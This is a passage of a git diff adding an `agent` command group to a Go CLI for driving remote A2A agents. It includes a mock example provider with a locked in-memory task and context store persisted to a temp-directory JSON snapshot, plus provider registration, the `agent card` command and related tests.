t.Errorf("summary should be rune-truncated to %d runes, got %d", summaryMaxRunes, n)
|
||||
}
|
||||
prompt := taskSummaryText(agent.AgentTask{
|
||||
State: agent.StateInputRequired,
|
||||
InputRequired: &agent.InputRequired{Prompt: "补充预算区间?"},
|
||||
Messages: agentMessage("忽略我"),
|
||||
})
|
||||
if prompt != "补充预算区间?" {
|
||||
t.Errorf("input_required summary should be the pending prompt, got %q", prompt)
|
||||
}
|
||||
}
|
||||
|
||||
// agentMessage builds a single agent-role text message for seeding task fixtures.
|
||||
func agentMessage(text string) []agent.Message {
|
||||
return []agent.Message{{Role: "agent", Parts: []agent.Part{{Type: "text", Text: text}}}}
|
||||
}
|
||||
|
||||
// agentReply returns the first text reply from the agent role in the task.
|
||||
func agentReply(t *testing.T, task *agent.AgentTask) string {
|
||||
t.Helper()
|
||||
for _, m := range task.Messages {
|
||||
if m.Role != "agent" {
|
||||
continue
|
||||
}
|
||||
for _, part := range m.Parts {
|
||||
if part.Type == "text" {
|
||||
return part.Text
|
||||
}
|
||||
}
|
||||
}
|
||||
t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
|
||||
return ""
|
||||
}
|
||||
418
agent/example/state.go
Normal file
418
agent/example/state.go
Normal file
@@ -0,0 +1,418 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package example
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/vfs"
|
||||
)
|
||||
|
||||
// ============================================================================
|
||||
// In-memory state machine (teaching focus: concurrency safety of package-level
|
||||
// state + the CLI process boundary)
|
||||
//
|
||||
// A real provider's context/task state lives on the server, so the adapter is
|
||||
// naturally stateless; example is a pure mock and must manage state itself. Two
|
||||
// disciplines the integrator needs to know:
|
||||
//
|
||||
// 1. Concurrency safety: package-level mutable state must be locked. A single
|
||||
// coarse-grained Mutex covers all reads and writes here — the mock does not
|
||||
// chase throughput; correctness comes first.
|
||||
// 2. CLI process boundary: every lark-cli command is a fresh process, so a pure
|
||||
// in-memory map does not survive a single command — after `send`, a
|
||||
// `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
|
||||
// the in-memory map (under os.TempDir, last-writer-wins) to make the offline
|
||||
// demo chain work across commands. A real provider neither needs nor should
|
||||
// have this layer — it is a mock-only demo device.
|
||||
//
|
||||
// Note that the snapshot is loaded lazily (only on the first real read/write of
|
||||
// state): provider registration is a pure declarative Register(Provider) call
|
||||
// (see agent/register.go) with no construction and no side effects, so nothing
|
||||
// touches store at registration time — the snapshot is read on the first hook
|
||||
// invocation, not at init.
|
||||
// ============================================================================
|
||||
|
||||
// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
|
||||
// + creation sequence number (list output sorts by creation order to guarantee
|
||||
// stable enumeration).
|
||||
type taskRecord struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Seq int `json:"seq"`
|
||||
Task agent.AgentTask `json:"task"`
|
||||
}
|
||||
|
||||
// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
|
||||
// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
|
||||
// demonstrate "context memory".
|
||||
type contextRecord struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
ContextID string `json:"context_id"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Title string `json:"title,omitempty"`
|
||||
Seq int `json:"seq"`
|
||||
TaskIDs []string `json:"task_ids"`
|
||||
}
|
||||
|
||||
// memoryStore is the package-level state machine itself: mu covers all fields;
|
||||
// path is the JSON snapshot location; loaded ensures the snapshot is read only
|
||||
// once, on first access.
|
||||
type memoryStore struct {
|
||||
mu sync.Mutex
|
||||
path string
|
||||
loaded bool
|
||||
|
||||
Contexts map[string]*contextRecord `json:"contexts"`
|
||||
Tasks map[string]*taskRecord `json:"tasks"`
|
||||
NextSeq int `json:"next_seq"`
|
||||
}
|
||||
|
||||
// store is the package-level singleton. Tests use swapStoreForTest to replace it
|
||||
// with an instance pointing at t.TempDir, avoiding cross-contamination between
|
||||
// tests and between tests and the local demo state.
|
||||
var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agent.json"))
|
||||
|
||||
func newMemoryStore(path string) *memoryStore {
|
||||
return &memoryStore{
|
||||
path: path,
|
||||
Contexts: map[string]*contextRecord{},
|
||||
Tasks: map[string]*taskRecord{},
|
||||
}
|
||||
}
|
||||
|
||||
// loadLocked lazily reads in the snapshot (the caller must already hold the
|
||||
// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
|
||||
// mock's demo data is not worth erroring over, so it just starts fresh.
|
||||
func (s *memoryStore) loadLocked() {
|
||||
if s.loaded {
|
||||
return
|
||||
}
|
||||
s.loaded = true
|
||||
data, err := vfs.ReadFile(s.path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var snap memoryStore
|
||||
if json.Unmarshal(data, &snap) != nil {
|
||||
return
|
||||
}
|
||||
if snap.Contexts != nil {
|
||||
s.Contexts = snap.Contexts
|
||||
}
|
||||
if snap.Tasks != nil {
|
||||
s.Tasks = snap.Tasks
|
||||
}
|
||||
s.NextSeq = snap.NextSeq
|
||||
}
|
||||
|
||||
// saveLocked writes the current state back to the snapshot (the caller must
|
||||
// already hold the lock). A write failure returns a typed internal error
|
||||
// (storage subtype) — the mock does not swallow errors either: silently losing
|
||||
// state would make the next command report "task not found", which is harder to
|
||||
// diagnose than a clear error.
|
||||
func (s *memoryStore) saveLocked() error {
|
||||
data, err := json.MarshalIndent(s, "", " ")
|
||||
if err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
|
||||
}
|
||||
if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
|
||||
// deliberately aligns with the command layer's meta.next interpolation
|
||||
// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
|
||||
// string "the AI copies and runs", and an id with shell metacharacters would
|
||||
// cause the whole hint to be suppressed.
|
||||
func newID(prefix string) string {
|
||||
var b [6]byte
|
||||
if _, err := rand.Read(b[:]); err != nil {
|
||||
// crypto/rand being unavailable is an environment-level failure; the mock
|
||||
// degrades to a timestamp that still satisfies the character set.
|
||||
return prefix + "_" + time.Now().UTC().Format("20060102150405")
|
||||
}
|
||||
return prefix + "_" + hex.EncodeToString(b[:])
|
||||
}
|
||||
|
||||
// createContext creates a new context and returns its id (the first-turn send goes here).
|
||||
func (s *memoryStore) createContext(agentID, title string) (string, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
id := newID("ctx")
|
||||
s.NextSeq++
|
||||
s.Contexts[id] = &contextRecord{
|
||||
AgentID: agentID,
|
||||
ContextID: id,
|
||||
CreatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Title: title,
|
||||
Seq: s.NextSeq,
|
||||
}
|
||||
return id, s.saveLocked()
|
||||
}
|
||||
|
||||
// createTask appends a task under ctxID: validate context ownership → compute
|
||||
// the round (which task number in this conversation) → call build under the lock
|
||||
// to construct the task → insert and write the snapshot. build runs inside the
|
||||
// lock to guarantee "compute the round" and "store the task" are atomic, so two
|
||||
// concurrent sends never get the same round.
|
||||
// An unknown / cross-agent context id returns a typed validation error (teaching
|
||||
// point: every error a provider returns must be typed — a bare error would land
|
||||
// as internal/exit 5, whereas this is clearly "the caller passed a wrong
|
||||
// argument", semantically invalid_argument/exit 2, and the AI relies on this
|
||||
// classification to decide between "fix the argument and retry" and "report an
|
||||
// environment failure").
|
||||
func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agent.AgentTask) (agent.AgentTask, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
task := build(len(ctx.TaskIDs) + 1)
|
||||
// Stamp lifecycle timestamps at creation. Example tasks are born terminal, so
|
||||
// created_at == updated_at; a real provider bumps updated_at on every status
|
||||
// change (see setTaskState). RFC3339 UTC strings are fixed-width, so their
|
||||
// lexicographic order equals chronological order (relied on by the rollup).
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
task.CreatedAt = now
|
||||
task.UpdatedAt = now
|
||||
s.NextSeq++
|
||||
s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
|
||||
ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
|
||||
return task, s.saveLocked()
|
||||
}
|
||||
|
||||
// getTask fetches a task snapshot by id (returns a copy by value, so the command
|
||||
// layer's in-place edits like normalizeTask do not write through to store). A
|
||||
// cross-agent task is treated as "not found", without leaking another agent's state.
|
||||
func (s *memoryStore) getTask(agentID, taskID string) (agent.AgentTask, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
rec, ok := s.Tasks[taskID]
|
||||
if !ok || rec.AgentID != agentID {
|
||||
return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 task id '%s'(example:%s 名下不存在)", taskID, agentID).
|
||||
WithHint("运行 lark-cli agent task list example:%s 查看现有任务", agentID)
|
||||
}
|
||||
return rec.Task, nil
|
||||
}
|
||||
|
||||
// setTaskState updates a task's state (used by reporter's cancel).
|
||||
func (s *memoryStore) setTaskState(taskID string, state agent.TaskState) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
rec, ok := s.Tasks[taskID]
|
||||
if !ok {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
|
||||
}
|
||||
rec.Task.State = state
|
||||
rec.Task.IsTerminal = state.IsTerminal()
|
||||
rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339) // status changed ⇒ record when
|
||||
return s.saveLocked()
|
||||
}
|
||||
|
||||
// listTasks lists an agent's task summaries, optionally filtered by contextID
|
||||
// (empty string means no filter), output in creation order. IsTerminal is
|
||||
// carried along here for convenience, but the command layer re-derives it from
|
||||
// State via normalizeTask* (single source), so the integrator need not worry
|
||||
// about this field.
|
||||
func (s *memoryStore) listTasks(agentID, contextID string) []agent.TaskSummary {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
recs := make([]*taskRecord, 0, len(s.Tasks))
|
||||
for _, rec := range s.Tasks {
|
||||
if rec.AgentID != agentID {
|
||||
continue
|
||||
}
|
||||
if contextID != "" && rec.Task.ContextID != contextID {
|
||||
continue
|
||||
}
|
||||
recs = append(recs, rec)
|
||||
}
|
||||
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
|
||||
out := make([]agent.TaskSummary, 0, len(recs))
|
||||
for _, rec := range recs {
|
||||
out = append(out, taskSummaryOf(rec.Task))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// listContexts lists an agent's context summaries, output in creation order.
|
||||
func (s *memoryStore) listContexts(agentID string) []agent.ContextSummary {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
recs := make([]*contextRecord, 0, len(s.Contexts))
|
||||
for _, ctx := range s.Contexts {
|
||||
if ctx.AgentID == agentID {
|
||||
recs = append(recs, ctx)
|
||||
}
|
||||
}
|
||||
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
|
||||
out := make([]agent.ContextSummary, 0, len(recs))
|
||||
for _, ctx := range recs {
|
||||
updatedAt, taskCount, awaiting, _ := s.contextRollupLocked(ctx)
|
||||
out = append(out, agent.ContextSummary{
|
||||
ContextID: ctx.ContextID,
|
||||
CreatedAt: ctx.CreatedAt,
|
||||
UpdatedAt: updatedAt,
|
||||
Title: ctx.Title,
|
||||
TaskCount: taskCount,
|
||||
AwaitingInput: awaiting,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// getContext returns a context's detail: metadata plus a rollup (updated_at,
|
||||
// task_count, awaiting_input) and the single most-actionable ActiveTask (the task
|
||||
// with the latest updated_at; nil for an empty context). It deliberately does NOT
|
||||
// enumerate every task — the full list is `listTasks(agentID, ctxID)` behind
|
||||
// `agent task list --context-id`.
|
||||
func (s *memoryStore) getContext(agentID, ctxID string) (*agent.ContextDetail, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
updatedAt, taskCount, awaiting, active := s.contextRollupLocked(ctx)
|
||||
detail := &agent.ContextDetail{
|
||||
ContextID: ctx.ContextID,
|
||||
CreatedAt: ctx.CreatedAt,
|
||||
UpdatedAt: updatedAt,
|
||||
Title: ctx.Title,
|
||||
TaskCount: taskCount,
|
||||
AwaitingInput: awaiting,
|
||||
}
|
||||
if active != nil {
|
||||
summary := taskSummaryOf(active.Task)
|
||||
detail.ActiveTask = &summary
|
||||
}
|
||||
return detail, nil
|
||||
}
|
||||
|
||||
// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
|
||||
func (s *memoryStore) deleteContext(agentID, ctxID string) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
for _, tid := range ctx.TaskIDs {
|
||||
delete(s.Tasks, tid)
|
||||
}
|
||||
delete(s.Contexts, ctxID)
|
||||
return s.saveLocked()
|
||||
}
|
||||
|
||||
// ── Derived rollups (the enriched-summary provider side) ──
|
||||
|
||||
// summaryMaxRunes is the rune budget for a task Summary — a one-line content
|
||||
// digest, not full content. Truncation is rune-safe so a multibyte character is
|
||||
// never cut in half.
|
||||
const summaryMaxRunes = 100
|
||||
|
||||
// contextRollupLocked derives a context's summary fields from its tasks (the
|
||||
// caller must already hold the lock). updatedAt is the newest task updated_at,
|
||||
// falling back to the context's created_at when it has no tasks; awaitingInput is
|
||||
// set when any task sits in input_required/auth_required; active is the task with
|
||||
// the latest updated_at (ties broken by creation order so it is deterministic),
|
||||
// nil when the context is empty.
|
||||
func (s *memoryStore) contextRollupLocked(ctx *contextRecord) (updatedAt string, taskCount int, awaitingInput bool, active *taskRecord) {
|
||||
updatedAt = ctx.CreatedAt
|
||||
for _, tid := range ctx.TaskIDs {
|
||||
rec, ok := s.Tasks[tid]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
taskCount++
|
||||
if rec.Task.UpdatedAt > updatedAt { // fixed-width RFC3339 UTC ⇒ lexicographic == chronological
|
||||
updatedAt = rec.Task.UpdatedAt
|
||||
}
|
||||
if isAwaiting(rec.Task.State) {
|
||||
awaitingInput = true
|
||||
}
|
||||
if active == nil || rec.Task.UpdatedAt > active.Task.UpdatedAt ||
|
||||
(rec.Task.UpdatedAt == active.Task.UpdatedAt && rec.Seq > active.Seq) {
|
||||
active = rec
|
||||
}
|
||||
}
|
||||
return updatedAt, taskCount, awaitingInput, active
|
||||
}
|
||||
|
||||
// isAwaiting reports whether a state is paused waiting on the caller (the
|
||||
// awaiting_input rollup bit).
|
||||
func isAwaiting(state agent.TaskState) bool {
|
||||
return state == agent.StateInputRequired || state == agent.StateAuthRequired
|
||||
}
|
||||
|
||||
// taskSummaryOf projects a stored task into its list/active summary, carrying the
|
||||
// timestamp and the one-line content digest alongside the identity fields.
|
||||
func taskSummaryOf(task agent.AgentTask) agent.TaskSummary {
|
||||
return agent.TaskSummary{
|
||||
TaskID: task.TaskID,
|
||||
ContextID: task.ContextID,
|
||||
State: task.State,
|
||||
IsTerminal: task.IsTerminal,
|
||||
UpdatedAt: task.UpdatedAt,
|
||||
Summary: taskSummaryText(task),
|
||||
}
|
||||
}
|
||||
|
||||
// taskSummaryText is the one-line content digest: the pending prompt for a task
|
||||
// awaiting input, otherwise the last agent message's text. It returns RAW text
|
||||
// (only rune-truncated) — ANSI-stripping + flattening for pretty/TSV is the
|
||||
// command layer's job, and it is empty when nothing is available.
|
||||
func taskSummaryText(task agent.AgentTask) string {
|
||||
if task.InputRequired != nil && task.InputRequired.Prompt != "" {
|
||||
return truncateRunes(task.InputRequired.Prompt, summaryMaxRunes)
|
||||
}
|
||||
for i := len(task.Messages) - 1; i >= 0; i-- {
|
||||
if task.Messages[i].Role != "agent" {
|
||||
continue
|
||||
}
|
||||
for _, p := range task.Messages[i].Parts {
|
||||
if p.Type == "text" && p.Text != "" {
|
||||
return truncateRunes(p.Text, summaryMaxRunes)
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// truncateRunes cuts s to at most max runes (rune-safe, no character split). It
|
||||
// does not append an ellipsis: the Summary is meant to be raw text.
|
||||
func truncateRunes(s string, max int) string {
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max])
|
||||
}
|
||||
26
agent/register.go
Normal file
26
agent/register.go
Normal file
@@ -0,0 +1,26 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package agent is the top-level business layer that wires the in-repo agent
|
||||
// providers into the framework registry (internal/agent). It mirrors the events
|
||||
// layering: the framework/SPI lives in internal/agent, each concrete provider is
|
||||
// a declarative agent.Provider value exposed by a package under agent/<scheme>/,
|
||||
// and this package's init aggregates and registers them. Blank-import this
|
||||
// package from cmd to populate the provider registry.
|
||||
//
|
||||
// To onboard a new provider: add agent/<scheme>/ exposing a Provider() value,
|
||||
// then add one line to the slice below.
|
||||
package agent
|
||||
|
||||
import (
|
||||
"github.com/larksuite/cli/agent/example"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
func init() {
|
||||
for _, p := range []iagent.Provider{
|
||||
example.Provider(),
|
||||
} {
|
||||
iagent.Register(p)
|
||||
}
|
||||
}
|
||||
29
cmd/agent/agent.go
Normal file
29
cmd/agent/agent.go
Normal file
@@ -0,0 +1,29 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
)
|
||||
|
||||
// NewCmdAgent builds the `agent` command group: a provider-agnostic surface
|
||||
// that drives remote A2A agents with constant verbs. It is a pure group with
|
||||
// no RunE, so an unknown subcommand is reported rather than silently
|
||||
// swallowed. All five verbs (list/card/send/task/context) are wired here; task
|
||||
// and context are themselves nested groups.
|
||||
func NewCmdAgent(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "agent",
|
||||
Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
|
||||
Long: "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agent card <agent_ref>` first, then pick verbs by capability.",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentList(f))
|
||||
cmd.AddCommand(NewCmdAgentCard(f))
|
||||
cmd.AddCommand(NewCmdAgentSend(f, nil))
|
||||
cmd.AddCommand(NewCmdAgentTask(f))
|
||||
cmd.AddCommand(NewCmdAgentContext(f))
|
||||
return cmd
|
||||
}
|
||||
34
cmd/agent/agent_test.go
Normal file
34
cmd/agent/agent_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import "testing"
|
||||
|
||||
// TestAgentCommandTree pins the shape of the `agent` command tree: the group
|
||||
// itself must have no RunE/Run (a bare group whose unknown subcommands surface
|
||||
// an error rather than being silently swallowed), and it must expose all five
|
||||
// verbs plus the nested task/context sub-groups.
|
||||
func TestAgentCommandTree(t *testing.T) {
|
||||
cmd := NewCmdAgent(nil)
|
||||
if cmd.RunE != nil || cmd.Run != nil {
|
||||
t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
|
||||
}
|
||||
want := []string{"list", "card", "send", "task", "context"}
|
||||
for _, name := range want {
|
||||
if findSub(cmd, name) == nil {
|
||||
t.Errorf("missing subcommand %s", name)
|
||||
}
|
||||
}
|
||||
// task/context are nested groups
|
||||
if task := findSub(cmd, "task"); task == nil {
|
||||
t.Error("missing agent task group")
|
||||
} else if findSub(task, "get") == nil {
|
||||
t.Error("missing agent task get")
|
||||
}
|
||||
if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
|
||||
t.Error("missing agent context group")
|
||||
} else if findSub(ctxCmd, "delete") == nil {
|
||||
t.Error("missing agent context delete")
|
||||
}
|
||||
}
|
||||
183
cmd/agent/card.go
Normal file
183
cmd/agent/card.go
Normal file
@@ -0,0 +1,183 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// cardOptions holds all inputs for `agent card <ref>`.
|
||||
type cardOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentCard builds `agent card <ref>`: fetch and display an agent's
|
||||
// capability card. Adapters synthesize the card statically from their known
|
||||
// capability matrix — no API call is made, and the command works offline /
|
||||
// under mock. Risk=read.
|
||||
func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &cardOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "card <agent_ref>",
|
||||
Short: "Show a remote agent's capability card (capabilities / parameters / identity)",
|
||||
Long: "Fetch and show an agent's capability card. Use its capabilities to decide which verbs are available and its parameters to decide the --param a send needs. Some providers synthesize the card statically without calling the remote API.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentCardRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
|
||||
} else {
|
||||
// f is nil only in construction-time unit tests; register a bare --as so
|
||||
// the flag surface is still assertable without a Factory.
|
||||
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
|
||||
}
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentCardRun resolves the provider addressed by ref and emits its capability
|
||||
// card. The card is first-party static data (not agent-generated content), so
|
||||
// it bypasses content-safety scanning. The JSON success envelope is the
|
||||
// default; --format pretty opts into the human-readable listing. A --jq
|
||||
// expression forces JSON (jq operates on the envelope) and, when present,
|
||||
// filters stdout.
|
||||
func agentCardRun(opts *cardOptions) error {
|
||||
f := opts.Factory
|
||||
// Resolution is fully offline (no client), so `agent card` works before
|
||||
// config init. The capability matrix + static metadata are always available.
|
||||
prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Best-effort remote enrichment: if a client is configured, pass a runtime so
|
||||
// a provider's Describe can fill Name/Description from the platform; otherwise
|
||||
// rt stays nil and BuildCard returns the offline (caps + static) card.
|
||||
var rt iagent.Runtime
|
||||
if r, rerr := runtimeFor(f, id, agentID); rerr == nil {
|
||||
rt = r
|
||||
}
|
||||
card := iagent.BuildCard(opts.Cmd.Context(), prov, spec, agentID, rt)
|
||||
|
||||
jq := jqExpr(opts.Cmd)
|
||||
// pretty is a human view only; a --jq expression implies structured JSON,
|
||||
// so it takes precedence over the pretty format.
|
||||
if opts.Format == "pretty" && jq == "" {
|
||||
printCardPretty(f.IOStreams.Out, card)
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: card,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// printCardPretty writes a compact human-readable view of an agent card:
|
||||
// identity header (with per-identity preconditions), the sorted capability
|
||||
// matrix, declared parameters and skills — the key constraints an AI reads
|
||||
// from json must also be visible to a human. Remote cards carry
|
||||
// agent-controlled Name/Description/Desc
|
||||
// strings, so every such field is ANSI-stripped before hitting the terminal.
|
||||
// Nil cards degrade to a placeholder line rather than panicking.
|
||||
func printCardPretty(w io.Writer, card *iagent.AgentCard) {
|
||||
if card == nil {
|
||||
fmt.Fprintln(w, "(no card)")
|
||||
return
|
||||
}
|
||||
// Dynamic cards carry a Name; static cards fall back to the provider label.
|
||||
name := card.Name
|
||||
if name == "" {
|
||||
name = card.ProviderLabel
|
||||
}
|
||||
fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
|
||||
if card.Description != "" {
|
||||
fmt.Fprintf(w, " %s\n", stripANSI(card.Description))
|
||||
}
|
||||
if len(card.Identity) > 0 {
|
||||
ids := make([]string, 0, len(card.Identity))
|
||||
for _, spec := range card.Identity {
|
||||
id := string(spec.Type)
|
||||
if spec.Precondition != "" {
|
||||
id += "(前置: " + stripANSI(spec.Precondition) + ")"
|
||||
}
|
||||
ids = append(ids, id)
|
||||
}
|
||||
fmt.Fprintf(w, " identity: %s\n", strings.Join(ids, ", "))
|
||||
}
|
||||
|
||||
fmt.Fprintln(w, " capabilities:")
|
||||
// Capabilities is a closed struct; iterate in fixed alphabetical key order,
|
||||
// matching the sorted output of the earlier map-based representation.
|
||||
for _, k := range []string{
|
||||
iagent.CapArtifactDownload,
|
||||
iagent.CapContextDelete,
|
||||
iagent.CapContextGet,
|
||||
iagent.CapContextList,
|
||||
iagent.CapFileInput,
|
||||
iagent.CapInputRequired,
|
||||
iagent.CapTaskCancel,
|
||||
iagent.CapTaskGet,
|
||||
iagent.CapTaskList,
|
||||
} {
|
||||
mark := "no"
|
||||
if card.Supports(k) {
|
||||
mark = "yes"
|
||||
}
|
||||
fmt.Fprintf(w, " %-20s %s\n", k, mark)
|
||||
}
|
||||
|
||||
if len(card.Parameters) > 0 {
|
||||
fmt.Fprintln(w, " parameters:")
|
||||
for _, pr := range card.Parameters {
|
||||
req := ""
|
||||
if pr.Required {
|
||||
req = " (required)"
|
||||
}
|
||||
fmt.Fprintf(w, " %s: %s%s", pr.Name, pr.Type, req)
|
||||
if pr.Desc != "" {
|
||||
fmt.Fprintf(w, " — %s", stripANSI(pr.Desc))
|
||||
}
|
||||
fmt.Fprintln(w)
|
||||
}
|
||||
}
|
||||
|
||||
if len(card.Skills) > 0 {
|
||||
fmt.Fprintln(w, " skills:")
|
||||
for _, sk := range card.Skills {
|
||||
name := sk.Name
|
||||
if name == "" {
|
||||
name = sk.ID
|
||||
}
|
||||
fmt.Fprintf(w, " %s\n", stripANSI(name))
|
||||
}
|
||||
}
|
||||
}
|
||||
286
cmd/agent/card_test.go
Normal file
286
cmd/agent/card_test.go
Normal file
@@ -0,0 +1,286 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
